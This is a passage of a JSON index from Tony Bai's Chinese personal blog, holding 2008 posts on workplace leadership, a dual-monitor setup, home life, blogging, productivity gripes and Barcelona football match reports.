，性能也不逊于C，如果真的改成了C++，我们的思维也可以和这个世界接轨了(很多人认为：太多的新思想似乎和古老的C搭不上边)，大家认可，关键是领导也认可并鼓励一些有能力的开发人员抽时间研究学习C++，但是每每总是不了了之，领导始终没有坚定的意志做这次变革，开发人员也逐渐消磨的热情，回归到了C的世界。\n打破既有规则，拥抱新事物，似乎一直就是一件很困难的事，而领导意志在一个组织内部目前来看还是起着决定性的作用的，否则再好的东西也会变成局部的个人兴趣，没有用武之地。如果一个领导坚定的推行大家都不认同的新事物(很可能是领导的个人喜好或者上级的命令)，那么这样带来的后果将更加严重。\n所以作为领导的，确需三思而后行啊，用此文自勉共勉吧。\n","permalink":"https://tonybai.com/2008/10/11/the-leader-will/","summary":"\u003cp\u003e昨天是周五，按照工作计划，上午和组内同事做个人阶段性目标沟通。在与一位曾经在国外公司里做过项目的同事沟通时，他给我讲了这么一个故事：某一年的圣诞节前夕(圣诞节在西方人眼里是地位最高的节日了吧)他所在的那家公司的经理预感到圣诞节那天他们公司的网站的访问量激增的可能性会很大，为了保证网站在那圣诞节那天能\u0026quot;挺住\u0026quot;，他要求手下的人对网站进行一次压力测试，并决定让手下用\u003ca href=\"http://jakarta.apache.org/jmeter/\"\u003ejmeter\u003c/a\u003e来做这件事情。手下人没有异议，由于没有用过jmeter，遂大家都忙碌起来，预研的、准备测试环境的等等。一切就绪后，正准备开始测试了，这时那位经理突然召集手下人说jmeter不能满足他们的压力测试要求，大家都惊愕之，并马上提出了反驳，因为jmeter工具是这位领导提出要使用的，现在又不用了，圣诞节已经迫在眉睫，更换压力测试工具肯定不能完成这个任务了。这位经理无奈妥协，结果是：通过jmeter压力测试后优化的网站顺利了通过了”圣诞节的考验“，不过大家都觉得这个过程很别扭。\u003c/p\u003e","title":"领导意志"},{"content":"组内同事与公司合购了一台ThinkPad T400的本子，按照公司规定，公司分配给她的台式机是要收回的，就在没收回之前，我将其显示器借来(没办法，无奈公司在“白菜价”的硬件上也斤斤计较)，搭建我的双显示器环境。\n曾经使用过部门的投影试过双显，第一感觉很爽，只是当时扩展桌面后，我的本本一直只能作为第二显示器(辅助显示器)，桌面都显示到了投影上，调试了半天也没搞懂，略有遗憾。这次搬来同事的那个17寸液晶显示器后，我可以有足够的时间调整和调试。\n接上显示器后，按下\u0026quot;Fn+F7\u0026quot;(ThinkPad系列的标准屏幕切换快捷键)，两个屏显示同样的内容。通常的调整双显示器的方法是在控制面板中找到“显示”或者在桌面右键快捷菜单中\u0026quot;属性\u0026quot;-\u0026gt;\u0026ldquo;设置\u0026rdquo;，可以看到一个比较形象的窗口，点击一下“识别”，就可以看到哪个显示器是1，哪个显示器是2了。然后你就可以将辅助显示器的“将Windows桌面扩展到该监视器”上勾选上，点击确定即可。屏幕刷新后，你就可以在两个显示器之间随意拖拽窗口了(切记窗口在最大化情况下无法拖拽)。\n按照上述操作后，老毛病又犯了，我的本本的屏幕又沦为了第二显示器了。反复调整\u0026quot;显示属性\u0026quot;，可无论我如何选择将第二显示器作为主显示器就是不能生效。\n这时在桌面右下角发现一个图标，鼠标放上去后提示是“Intel Extreme Graphics 2 for Mobile”,这难道就是我的集成显卡驱动的配置工具，右键点击后，可以看到有\u0026quot;图形选项\u0026quot;-\u0026gt;“输出至…”，目前处于“扩展的桌面”状态，我就随意选了选，似乎和Windows自带的“显示属性”功能差不多，还是不能切换主辅显示器。无奈下继续逐个尝试这个驱动工具的菜单项，当尝试到\u0026quot;图形属性\u0026quot;时，终于找到了方法。在\u0026quot;图形属性\u0026quot;对话框的\u0026quot;设备\u0026quot;标签下明显的有主备设备的选择项，调整了一下，点击确定，待屏幕刷新后，我的桌面终于回归到本本的显示屏幕上了。将本本作为主显示器大功告成。\n开始试用，反复拖拽一些窗口，设置不同显示器的分辨率，都很流畅。但是鼠标在屏幕间的切换似乎不是很顺畅。怎么这么别扭呢？哇，原来是自己两个显示器摆放的位置的弄反了的问题。我的液晶显示器放到了笔记本的左边了。而程序窗口需要从笔记本显示器向右拖才能进入到液晶显示器中，反之，液晶显示器上的鼠标要回归到笔记本需要从左到右，而我的脖子却要从右到左，这当然别扭了。把液晶显示器调整到右边，一切ok。反正我的办公桌上空间还算较大，随意挪放。\n","permalink":"https://tonybai.com/2008/10/08/work-with-dual-monitors/","summary":"\u003cp\u003e组内同事与公司合购了一台ThinkPad T400的本子，按照公司规定，公司分配给她的台式机是要收回的，就在没收回之前，我将其显示器借来(没办法，无奈公司在“白菜价”的硬件上也斤斤计较)，搭建我的双显示器环境。\u003c/p\u003e","title":"使用双显示器工作"},{"content":"一个月前就已经计划好了，这个十一黄金周，父母过来到新房子看看。由于我和LP的家都不在这，所以从买房子到装修父母都不曾来看过。这次是第一次。为了给父母一个良好的印象，我和LP也是下了不少功夫，包括打扫卫生和考虑如何招待我的父母。\n一直是我们两个人生活，家里的东西，比如筷子、碗、盘子等，也都是按照“两个人够用”这个水准购置的。这次父母来，势必我们要出去采购些。以前回到家里都是吃现成的，父母把饭菜端到桌子上，我们只需要拿起筷子吃就是了。这次父母来到我们的家，怎么也不能让他们去做饭给我们吃吧。但是我们的厨艺实在太差劲，平时应付应付自己的肚子还可以，但是做出来父母是否爱吃，我们是不得而知的。另外这二十多年一直都是吃父母的，这次父母过来吃我们的，也是我们第一次给父母做饭，有些兴奋和激动。所以这件事在我的脑海里已经思考了一周多了，基本上确定了方案，至于具体实施，那就在今天了。\n一早，我就出去到家乐福购买所需材料，父亲比较喜欢肉食，我决定给他做一个蒸肘子，说实话从来没做过，以前都是买熟食，回家后热热就吃；这次买了一个三斤多重的后肘，回去后按照网上的菜谱一步一步操作，为了这道菜，我还采购了豆瓣酱、各种香料以及香辣豆鼓，准备按照菜谱改良一个酱香(蒸)肘子；一切都很顺利，就是剔除肘子中间的那根大骨头的时候有些费劲，因为前面煮的不是很熟烂导致的。用刀划成块，抹上我“秘制”的调料，装盘放入刚刚购入的蒸锅，大火开蒸。\n爸爸频出的时候，感觉不是特别熟烂。这也是有原因的，蒸的中途因为要出去接父母，就暂时关火了。我想就是这样才导致了肉质不甚熟烂。不过口味还是蛮不错的，爸爸连声赞叹，我心里也是蛮舒服的。毕竟自己第一次在父母面前一展身手。\n用中间的那根大骨又做了一个汤，再整了一道素菜，给父母做的第一顿饭就是这样了，略有些简单，但也让我忙乎了不下2个小时，心里还是蛮高兴的，算是对父母回报的一个开始吧^_^。明天带父母开开心心逛商场，不过说了，睡觉！^_^\n","permalink":"https://tonybai.com/2008/09/30/cook-meal-for-my-parents-the-first-time/","summary":"\u003cp\u003e一个月前就已经计划好了，这个十一黄金周，父母过来到新房子看看。由于我和LP的家都不在这，所以从买房子到装修父母都不曾来看过。这次是第一次。为了给父母一个良好的印象，我和LP也是下了不少功夫，包括打扫卫生和考虑如何招待我的父母。\u003c/p\u003e","title":"第一次给父母做饭"},{"content":"2004年初，那时的我刚刚来到现在的公司实习，大约几个月后受Dreadhead的影响，在Blogbus上申请了自己的第一个Blog，并作为自己的主blog站点(后迁至tonybai.com)，居然一直至今。当初申请blog的时候并没有多想，一切都只是模仿Dreamhead，包括他采用的“清新模板”以及他的Blog上方的那一行字：“一个小程序员的信口开河”，我将之改为：“一个程序员的心路历程”，当时我根本没有想到我的博客能一直写到今天，而且已经成为我的生活中一个必不可少的组成部分了。\n这几年博客在国内发展还算是红火，不同风格和不同主题的blog遍布网络的各个角落，有说电影的、有讲音乐的、有展示厨艺、有引领时尚的、有搞网络文学的、有名人明星自述隐私，也有各领域专家站出来说法，blog的存在，似乎一下子让网络上的信息丰富多彩起来。\n作为一个草根blogger，每当我坐在电脑前想写blog的时候，我都会寻思着我该写些什么。渐渐的我觉得当初给自己选择的那个主题似乎越来越合我的风格。我的blog就应该写我自己的生活的足迹、人生的经历-“我思我为、我见我闻、我失我得、我喜我悲、我乐我怒、我爱我憎“，一个真我的心路历程。当然了作为技术人员，Blog中不可避免以技术类话题居多。想一想每天的工作时间其实占据了你头脑清醒时时间的绝大一部分。生活中多是工作，工作中讨论技术，这样技术在整个blog的比重稍大似乎也合情合理。\n写，源于有感而发；无论是工作、生活还是学习，遇到能让我有感的点，我就会马上将之记录下来，下班后整理思路成文，发到blog上，每发一篇心中都会感到一丝兴奋，虽说自己的文字能力还较差。其实我的电脑里还有数十篇因为\u0026quot;感\u0026quot;的不足够的半成品文章，总是写写就感觉思绪枯竭了，反复思考多次仍无功而返，遂弃之。人的情绪和状态是随着时间的推移的变化多端，不知道大家有何感觉。虽然博客成了我生活的一部分，但是每每一年总有那么几段时间，似乎有些思维枯竭，坐在电脑面前发呆，就是不知道该落笔写些什么，有些极端的时候一停笔就是几个月。\u0026quot;阅微堂\u0026ldquo;的博主也曾在文章中提到过他不知写什么的感觉。\n进入后台看到自己写的几百篇博文，心中有种莫名的兴奋。还记得当初建博时几位同事看完我的博客后对我的赞许，还记得一位同事在部门内部转载群发一篇文章，居然发现就是我写的，当然也记得被人家指出博客中严重错误时的尴尬。我写博客最大的畏惧就是生怕我的文字误导大家，所以我尽量谨慎。\n任何事情坚持总会有收获，即使仅仅是那一点点虚无缥缈的兴奋感觉。也许除了学习之外，写博客就是我到目前为止坚持时间最长的一件有意义的事情了。这也是我第一次写只有两个字长度的题目的blog^_^。\n","permalink":"https://tonybai.com/2008/09/28/stick-with-my-blog/","summary":"\u003cp\u003e2004年初，那时的我刚刚来到现在的公司实习，大约几个月后受\u003ca href=\"http://dreamhead.blogbus.com/\"\u003eDreadhead\u003c/a\u003e的影响，在Blogbus上申请了自己的第一个Blog，并作为自己的主\u003ca href=\"http://bigwhite.blogbus.com/\"\u003eblog\u003c/a\u003e站点(后迁至tonybai.com)，居然一直至今。当初申请blog的时候并没有多想，一切都只是模仿Dreamhead，包括他采用的“清新模板”以及他的Blog上方的那一行字：“一个小程序员的信口开河”，我将之改为：“一个程序员的心路历程”，当时我根本没有想到我的博客能一直写到今天，而且已经成为我的生活中一个必不可少的组成部分了。\u003c/p\u003e\n\u003cp\u003e这几年博客在国内发展还算是红火，不同风格和不同主题的blog遍布网络的各个角落，有说电影的、有讲音乐的、有展示厨艺、有引领时尚的、有搞网络文学的、有名人明星自述隐私，也有各领域专家站出来说法，blog的存在，似乎一下子让网络上的信息丰富多彩起来。\u003c/p\u003e","title":"坚持"},{"content":"虽然搬到新家已经一月有余，但是我们却一直没有沙发。今天之前，我们的客厅里还是空荡荡的，电视的对面放着几个买家电时留下的泡沫，权且当作凳子，后来有了餐椅，情况有了好转。\n沙发是个使用效率很高的家具，同时它也是普通家庭客厅中的最主要家具了。LP对沙发的要求很苛刻，颜色要好、与家里风格搭配、长度合适、面料精致、触感好，坐起来舒服，当然最重要的一点还是物美价廉。这些都是我们沙发没有及时买到的原因。\n对于我们这种房子面积不到百平的年轻工薪家庭来说，布艺沙发显然更合适。布艺颜色丰富，外套容易更换，维护和打理都比较方便，比较符合年轻人的品味和生活方式(懒)，更重要的一点是布艺沙发价格比起动则几万的真皮沙发而言有着决定性的优势。\n上个月末，我和LP终于在新开业不久的红星美凯龙发现了一款合适的沙发，沙发的颜色很符合LP的口味，特别是沙发的布料很具皮质纹理，摸上去很舒服。而且这款沙发的长度也很符合我家客厅的布局，价钱吗，虽超出我的心里价位很多，但是无奈LP喜欢。多钱也买不来LP欢喜啊。一心动+冲动，就付了定金。其实之前我们还看了一款价格更加合理的沙发，只是LP对其颜色有不满，于是作罢。\n昨天补交了余款，今天厂商送货上门。送货的一大早就打电话过来，说今天第一个送的就是我家的货。我很高兴，他们早点来送货，我也就能少浪费些不必要的等待时间。半个小时后，门铃响起，货到了。沙发不用复杂的安装，基本上是成品了。三个工人师傅每人背了一件，就搞定了。\n放到客厅里后，拆开包装·，不愧是大厂商的产品，包装严密结实，标识清楚，和铁西九路的货比起来，简直好的太多了。沙发唯一需要安装的就是几个支撑钢脚。每个钢脚都单独包装，师傅用电转几分钟就全部安装完毕，将沙发反过来摆好，去掉防尘的内包装，哇，很不错。大小、颜色都和我家很搭调。看来LP选的就是比我选的强，呵呵。这个结论已经被多次证实了。送走工人师傅，一屁股就做到了沙发上，沙发垫的软硬适中，很舒服。躺在贵妃位上看着好看的电视，真是一种享受啊。以前没有沙发时的那种空荡荡的感觉没有了，沙发将空间充实了许多，也让我有了一种更强烈的温馨家的感觉。\n终于有了自己的沙发了。以后就可以躺在沙发上熬夜看欧洲足球联赛、看M10-梅西的表演了，再也不用担心屁股坐痛了。^_^\n","permalink":"https://tonybai.com/2008/09/27/the-arrival-of-sofa/","summary":"\u003cp\u003e虽然搬到新家已经一月有余，但是我们却一直没有沙发。今天之前，我们的客厅里还是空荡荡的，电视的对面放着几个买家电时留下的泡沫，权且当作凳子，后来有了餐椅，情况有了好转。\u003c/p\u003e","title":"终于有沙发了"},{"content":"近日和一位刚刚离职不久的同事在Fetion上聊天，他目前在北京的一家做SIP协议栈产品的外资公司供职，做PHP相关开发和维护。记得他刚到那家公司的时候和他聊过一阵，他当时由于刚刚去到那家公司，感觉很是新鲜，也很兴奋。不过这次聊天，他开始抱怨那个公司开发也很混乱，诸如Feature乱加、遗留代码不易修改等，最后他补充了一句：UNHAPPY。\n这周是十一黄金周之前的最后一个工作周，需要连上七天班。这不刚刚过了一半儿，我就有了“累”的感觉了。加之最近有几多烦心事，让我不吐不快。\n前不久粗略的看完了一本叫“The Productive Programmer(高效的程序员)” 的书，书的作者是Thoughtworks的一位牛人Neal Ford，书的内容如其名，作者从各个方面讲解了一名程序员如何才能做到更高效的工作。也是受到此书作者的一些启发，我开始尝试提高自己的工作效率；以下很多“烦心事”其实也是与此事有关的。\n最近发现我的本子打开的程序一多，硬盘灯就闪个不停，有时切换窗口，不等上30s屏幕都刷新不过来，这让我实在是忍无可忍。对于一个程序员来说，没有一个高性能的工作平台，又怎么称得上高效呢。我现在的本子应该是2年前，甚至更长时间前的产品了，按理说2年也算一个周期了，要知道这年头硬件的更新换代速度之快是令人咂舌的。公司近两年以采购HP的本子居多，但我自己还是愿意使用ThinkPad的本子，因为对HP的本子没有信心；公司采购的这几批HP的本子就没有一台没有毛病的，其中以液晶屏的毛病最多，蓝屏、花屏、屏点不亮等。但ThinkPad的本子采购成本较高，部门的ThinkPad本子越来越少，\n申请新的ThinkPad本子基本是不可能了。可是HP的本子我是从心底不想用。无奈下，考虑另一种方案：升级现有本子。CPU不是问题，主要还是内存小。至少要再+1G估计才能解决性能的问题。问过秘书了，采购一条内存至少1周时间，看来还要继续忍受\u0026quot;蜗牛速度\u0026quot;了。\n提高工作效率的另一个被很多人认可的方式就是：扩大视野，让眼睛在同一时间接收更多的信息。对于程序员来说，最直接的方法就是多台显示器一起工作。这样你的程序可以被拖放在不同显示器上显示，一台显示器展示资料或需求、设计文档，而主显示器则用来打开IDE编码。其实似乎想一想也会体会到这样的便利。于是乎尝试向部门申请，得到秘书的答复是：目前部门没有液晶显示器了，很多新员工还在使用原始CRT显示器呢。尚未得到上面领导的答复。我大致了解了一下目前17寸液晶普屏显示器的价格及其低廉，要知道现在的主流是19寸显示器。对于一个公司而言，人力成本才是所占比例最大的。如何提高一个人的工作效率也是管理者们一直不断努力改善的问题；和一个人工作效率30%～40%的提升相比，一台显示器的成本简直微不足道，不是吗？意识的改变才是关键的。否则没有人能理解你为什么就要多申请一台显示器呢。\n这两天，组内唯一的一台DB Server宕掉了，需重装修复。这下子大家的工作都受到了影响。为了避免这类“事故”再次发生，我们决定多申请几个PC Server服务器，现在电子设备这么便宜，相对于人员赋闲带来的浪费，那几个硬件的价钱可以不值一提。和秘书沟通后，发现居然要自己到库房里去“选”旧机器自己攒机，顿时没了兴趣。库房中有两台新机器也不让用。\nEvernote是一款很好的note类软件，如果你没有购买微软的OneNote，那建议你下载一个Evernote用用。Evernote中有一种功能，它支持你在笔记里任意涂鸦，并能保存你的“涂鸦”。这个功能甚是吸引我。目前我的一些突然间的想法都是用笔记录在纸上，当时可以记住，但是时间久了，一旦纸丢了，你的想法无法被记录和跟踪。Evernote的这个涂鸦笔记功能很是适合我。但是有一点麻烦的是：用鼠标做出的涂鸦很难控制。我突然想到了手写板(我们没有高级的触摸屏)，于是到电子市场看手写板。再试过了多家手写板产品后，诸如Wacom、汉王、蒙恬以及清华紫光，居然发现普通手写板很难符合我的需求，而高级的绘图板太贵了，基本不考虑。看来想记录我的思维的涂鸦式笔记还需要等待若干时间了，带触摸屏功能的液晶显示器在不久的将来会普及开来的。\n最近在卓越网上看到一款HP的正品双肩笔记本包，物美价廉，很是喜欢。想买下，但是卓越网的页面总是提示没有货，设置了来货通知，收到通知邮件后，打开链接的网页，发现仍然是缺货状态，真是很恼人。\n带新人很累，曾经和同事探讨过类似的问题，好的新人留不住，差一些的留下了也顶不上来。每年长此以往，给了老员工很大压力。\n总觉得大家的效率都不高，如何帮助其他人提升效率，摆在面前的一个难题。KanBan上Card中的Story/task总是不能全部及时完成。\n最近发现我的A780换电池的时候会丢失时间信息，每次开机都需要重新设定时间；今天GPhone在美国发布了，估计离在大陆发布也不远了，我想Google不能放弃大陆这块肥肉吧。我的下一个目标手机：GPhone。\n说罢了烦心事，说说神七。\n神七今天晚上升空，万众期待。但是别忘了08年我们中国人似乎过得不是很顺利，雪灾、商品价格上涨、地震、矿难、食品安全和火灾。所以我们祈祷吧，祈祷三位航天员能顺利安全的完成此次任务。\n","permalink":"https://tonybai.com/2008/09/25/some-trouble-recently/","summary":"\u003cp\u003e近日和一位刚刚离职不久的同事在Fetion上聊天，他目前在北京的一家做SIP协议栈产品的外资公司供职，做PHP相关开发和维护。记得他刚到那家公司的时候和他聊过一阵，他当时由于刚刚去到那家公司，感觉很是新鲜，也很兴奋。不过这次聊天，他开始抱怨那个公司开发也很混乱，诸如Feature乱加、遗留代码不易修改等，最后他补充了一句：UNHAPPY。\u003c/p\u003e","title":"近期的几则“烦心事”"},{"content":"2008年9月25日凌晨2点（北京时间），2008-09赛季西甲第四轮比赛打响，豪门巴塞罗那队坐镇主场诺坎普迎接西甲老牌劲旅皇家贝蒂斯的挑战。巴萨在上一场对阵希洪竞技的比赛中取得了本赛季的首场胜利，一扫赛季初战绩不佳的阴霾，全队将士士气正盛。本场比赛的目标很明确：那就是取得连胜。贝蒂斯深知豪门巴萨的实力，本场又是客场作战，所以贝蒂斯力图全身而退。\n瓜迪奥拉本场祭出了伊涅斯塔-埃托奥-梅西的前场攻击三叉戟，亨利因伤坐在替补席；哈维、凯塔和图雷联袂坐镇中场；小将卡塞雷斯顶替队长普约尔出场，与阿尔维斯、马科斯和阿比达尔组成巴萨后防线，门将依然是1号巴尔德斯。\n一开场，24号图雷就完成一次后场抢断，巴萨开始了在诺坎普的娴熟的控球表演。贝蒂斯在中前场对巴萨的抢劫很卖力，巴萨队员配合和传球的失误率有升高。第2 分钟，梅西右路接阿尔维斯传球，转身过了一名贴身防守队员，将球传给中路凯塔，随后巴萨在左路发起了一次进攻，可惜球被抢断。贝蒂斯也借此机会发动了一次 反击，但左路球员的传中没有到位，被巴萨后卫破坏，很危险。巴萨左路的伊涅斯塔很活跃，带球过人也较多，似乎比梅西还“粘球”^_^，埃托奥此时换到了右 路，梅西在中路等待机会。贝蒂斯禁区内占满了防守球员。第4分钟，图雷禁区线边被绊倒，巴萨迎来本场第一个任意球，可惜哈维的射门被对方头球破坏出底线。 第4分钟，梅西左路连续突破，对手将球再次破坏出底线，巴萨再获角球，可惜哈维这次发出的角球质量不高。随后巴萨一直占据着场上主动。\n第16分半钟，巴萨取得领先。巴萨后场耐心组织，右路阿尔维斯将球带到对方半场交给梅西，梅西选择空档将球传给禁区前沿的埃托奥，埃托奥迅速调整一下，在 三名后卫包夹下果断起脚射门，球硬生生砸在门梁下方弹入网窝，对方门将对此也毫无办法。这个球虽然是梅西的妙传，但是70%的功劳还是归功于埃托奥的射术 精良。随后梅西又有一次妙传，可惜被对方后卫即使判断出攻击方向而化解掉。\n梅西在比赛中\n第22分钟，巴萨再入一球。这次梅西在功劳簿上占大头。埃托奥禁区弧顶拿球分给右路梅西，梅西没对对方两名球员防守，用速度甩开对手强突到禁区底线，右脚传出“保姆式”助攻，中路及时跟进的埃托奥门前轻巧一推，皮球应声入网，2:0。进球后，埃托奥与梅西相拥而庆。\nM10与E9\n下半场巴萨有些放松，对方趁机扳平比分，不过终场前古德约翰森的入球还是帮助巴萨有惊无险的取得连胜。而梅西全场表现活跃，为巴萨进攻源源不断提供动力， 唯一遗憾的就是缺少一粒进球了。整场比赛巴萨球员表现出一股良好的团结和上升士气，如果巴萨能一直保持这样的状态，前途必将光明。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2008/09/25/barca-vs-betis/","summary":"\u003cp\u003e2008年9月25日凌晨2点（北京时间），2008-09赛季西甲第四轮比赛打响，豪门巴塞罗那队坐镇主场诺坎普迎接西甲老牌劲旅皇家贝蒂斯的挑战。巴萨在上一场对阵希洪竞技的比赛中取得了本赛季的首场胜利，一扫赛季初战绩不佳的阴霾，全队将士士气正盛。本场比赛的目标很明确：那就是取得连胜。贝蒂斯深知豪门巴萨的实力，本场又是客场作战，所以贝蒂斯力图全身而退。\u003c/p\u003e","title":"梅西·演梅式助攻巴萨连胜"},{"content":"2008年9月22日凌晨3点（北京时间），西甲豪门巴萨做客埃尔莫里农球场挑战升班马希洪竞技队。本场比赛前，巴萨在 头两轮联赛比赛中取得了一平一负的糟糕战绩，创造了球队有史以来的最差联赛开局记录。这个记录让主帅瓜迪奥拉的能力饱受质疑，巴萨的众球员们也备受舆论压 力。此役巴萨全体将士憋足了劲儿，目标只有一个：客场拿下希洪竞技，全取三分，迎来赛季第一场胜利。由于亨利有伤在身，伊涅斯塔顶到前面，与埃托奥和梅西 组成“三叉戟”，哈维、凯塔和小将布斯克茨坐镇中场，后防线全部主力出战，普约尔和马科斯居中，阿比达尔和阿尔维斯分列左右，巴尔德斯镇守龙门。从历史战 绩上，巴萨占据较大优势。\n主场作战的希洪竞技是一个小球会，在顶级联赛中升升降降、起起落落，2007-08赛季结束后以乙级联赛第三的身份升入甲级。本赛季前两轮比赛，希洪竞技 虽然都输给了对手（1:2输给赫塔菲、3:4输给塞维利亚），但是比分都很接近，说明希洪竞技的战斗力是不应该小觑的，其战斗精神还是值得对手尊重和给予 足够重视的。\n阿根廷天才小将梅西在前两场比赛中仅打入一粒点球，也没能给球队带来一场胜利。作为巴萨的新10号、作为巴萨重点培养的球队新核心、作为球迷眼中诺坎普的新国王， 梅西身上的压力是巨大的。是梅西不努力吗？显然不是。赛场上的梅西是巴萨最具威胁的球员，每场比赛都给对方后防线带来巨大麻烦，但无奈与队友配合尚不默 契，再加上运气实在糟糕，即使是天才也需要一个过程去适应。但对于梅西这样的天才来说，两场比赛的经验与教训已经足够了，这场比赛梅西将努力帮助巴萨取得 比赛胜利，巴萨也应该取得一场胜利了。\n忧郁的梅西看起来更帅气\n一开场，巴萨就完成了一个近一分半钟的连续传控球，巴萨球员娴熟的控球“艺术”展现的淋漓尽致，这次连续控球最终以伊涅斯塔的一次左路突破被破坏而告终， 巴萨赢得了一个靠近角旗的界外球。通过这个界外球，巴萨在开场3分钟后赢得了本场第一个角球，哈维通过战术角球突入禁区，射门被扑出底线。一开场巴萨便展 现出咄咄逼人的气势，看来这场比赛希洪竞技“凶多吉少”啊^_^。第4分钟，希洪竞技球员一次右路精彩配合，可惜右路插上的队员射门技术不精，球在门前划 过，巴萨躲过一劫。\n第6分40秒，梅西右路与阿尔维斯配合，梅西传球后，对方后卫拉扯阿尔维斯犯规。随着队内磨合的深入，右路的梅西和阿尔维斯的配合愈来愈默契了，两个人在 右路发起的进攻是巴萨进攻的主要手段之一。第8分钟，梅西左路突破，在中路的哈维撞墙配合后切入禁区，但门将出击及时，在梅西拿到球前将球扑在身下而将此 次进攻化解。第11分钟，梅西右路发起一轮进攻，梅西右路横向带球，先后与阿尔维斯和哈维做配合后，切入禁区，对方球员将球大脚破坏，球落到中路禁区弧顶 处，凯塔前插顺势射门，被对方球员用身体挡出。这次进攻梅西的作用可见一斑，梅西越来越善于带动队友一同参与进攻，梅西的突破让多名队友瞬间活跃起来，加 入到进攻中，所以每当梅西拿球时，不仅对方后卫要时刻紧绷神经，队友们也应该让反映更加灵敏些，因为梅西的意识和出脚都太快，队友很可能跟不上梅西的节奏 而导致梅西的传球落空，这次进攻中哈维就有一次没能及时领会到梅西的传球，还好之后球又被反抢了回来。\n第12分钟，布斯克茨中路分球凯塔，凯塔传球给左边路的伊涅斯塔，后者横向移动，并分球给转移到左路的梅西，梅西横向晃动，拉出空档后右脚射门，球直奔球 门左近角，门将反映及时，在左门柱侧将球没收。第15分钟，梅西左路发出角球，球太靠近门将，被直接没收。梅西左脚的发任意球的技术还有提升的空间，脚腕 儿太灵活似乎不利于定位球技术的提高，呵呵。伊涅斯塔本场比赛特别勤奋，他经常回到左路后场协助防守，前15分钟就已经完成了两次关键性的防守抢断了。第 16分钟，梅西拿球后被多名后卫围堵并放倒，对手显然加强了对梅西的防守。第20分钟，又是哈维的中路分球，伊涅斯塔与梅西在左路的精妙配合，梅西突破多 名后卫的阻拦后，左脚将球射向球门右下角，门将做出了飞身扑救，但没够到球，皮球在门前划过，让希洪队员惊出一身冷汗。第22分钟，梅西禁区弧顶处接球 后，一脚精确的分球将球传给左路插上的伊涅斯塔，后者内切晃过一名后卫后，起脚射门，球被门将飞身托出底线。\n第24分钟，哈维右路发出角球，埋伏在对方禁区内的马科斯抢到第一点头球攻门，球飞向球门左侧，梅西不等球落地就飞身倒钩射门，没碰到足球，还被对方后卫 压了一下，似乎受到一些轻伤，爬起来时表情很痛苦。第26分钟，巴萨打破僵局，伊涅斯塔左路突破后传中，哈维前插和梅西同时站到了球门前，哈维抢先头球攻 门中的，如果这个球哈维没能碰到的话，那进球的人就是梅西了。\n哈维进球后“喜上眉梢”\n第31分钟，梅西右路突然将球传到禁区找哈维，对方将球破坏出底线，巴萨获得右侧角球。哈维第一次开出的角球被破坏出底线，巴萨连续获得角球。哈维再次开 出角球，队长普约尔抢到第一点，用头将球顶向门左侧，埋伏在左门柱处的猎豹埃托奥用头完成致命一击，近距离将球顶入空门，巴萨2：0领先，瓜迪奥拉看到此 球后也安心的回到座位上落座了，看来巴萨本场取胜是十拿九稳了，埃托奥也完成了本赛季联赛的第一粒进球。之后已经两球在手的巴萨打的更加放松和得心应手 了，队员们的配合更加流畅了，无奈对方防守还算严密，没有给巴萨更多机会，就这样巴萨带着2个球的优势结束上半场。\n下半场刚开始，阿尔维斯在左路两次防守失误险些给对手带来绝佳机会。阿尔维斯目前依旧是攻强守弱，防守技术还待加强。第47分钟中，梅西接后场长传奔袭到 右路底线附近，带球连续躲过三名后卫的拦截和铲球后，起左脚射门，球被后卫破坏出底线，角球。正是这个角球为巴萨带来了第三个进球。哈维左侧开出角球，对 方后卫禁区内头球自摆乌龙，巴萨3：0领先。\n希洪竞技队员没有让巴萨的笑容持续太久，仅一分钟后，希洪竞技后场长传，25号球员得球后摆脱阿尔维斯的防守，射门中的，将比分扳回1：3。不过第55分 钟，希洪竞技门将开球失误被梅西断下，梅西中路快速突进，被对方16号后卫球员战术犯规放倒，主裁直接掏出红牌将该后卫罚下，希洪竞技无奈只能十人应战 了。\n第61分钟，梅西中路拿球，直塞右路，对方后卫识别出了球的路线，在大禁区边缘将球断下。随后巴尔德斯及时出击化解了对方的一个单刀球，立下一功。第69 分钟，巴萨众将士再次上演漂亮配合和进球，中路哈维得球后，直塞右路，博扬顺势将球传给插上的梅西，梅西拿球后没有急于传球，而是观察了一下，伊涅斯塔心 灵神会中路向右插上，梅西恰一轻巧直塞，伊涅斯塔跑动中得球，在门将出击一瞬间右脚低射大门左下角方向，球缓缓归入门内，巴萨4:1领先。\n梅西庆祝伊涅斯塔进球\n巴萨的进球表演尚未结束，我们的10号梅西还没有取得进球，斗志依然旺盛。第84分钟古德约翰森左路将球直塞给伊涅斯塔，后者下底传中，球被对方防守球员 用脚碰了一下后，弹到球门中路，梅西在一名后卫的干扰下，左脚顺势倒地扫射，球应声入网，这个球射的甚是漂亮。梅西的表演还没完，第90分钟又是古德约翰 森中路分球给右路的博扬，博扬内切后灵巧分球给向右路插上的哈维，哈维下底传中，位于中路的梅西无人盯防，跳起头球攻门中的，射入本场比赛的第二个进球， 也是巴萨的第六个进球。最终巴萨以6:1的悬殊比分痛宰“升班马”，取得本赛季的首场胜利。\n队友庆祝梅西进球\n队友庆祝梅西进球\n本场比赛，巴萨多位球员均发挥出色，以伊涅斯塔、哈维和梅西尤为突出，三位巴萨的进攻核心球员在本场的优异表现似乎在向大家宣告：一支真正强大的巴萨回来了。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2008/09/22/barca-vs-gijon/","summary":"\u003cp\u003e2008年9月22日凌晨3点（北京时间），西甲豪门巴萨做客埃尔莫里农球场挑战升班马希洪竞技队。本场比赛前，巴萨在 头两轮联赛比赛中取得了一平一负的糟糕战绩，创造了球队有史以来的最差联赛开局记录。这个记录让主帅瓜迪奥拉的能力饱受质疑，巴萨的众球员们也备受舆论压 力。此役巴萨全体将士憋足了劲儿，目标只有一个：客场拿下希洪竞技，全取三分，迎来赛季第一场胜利。由于亨利有伤在身，伊涅斯塔顶到前面，与埃托奥和梅西 组成“三叉戟”，哈维、凯塔和小将布斯克茨坐镇中场，后防线全部主力出战，普约尔和马科斯居中，阿比达尔和阿尔维斯分列左右，巴尔德斯镇守龙门。从历史战 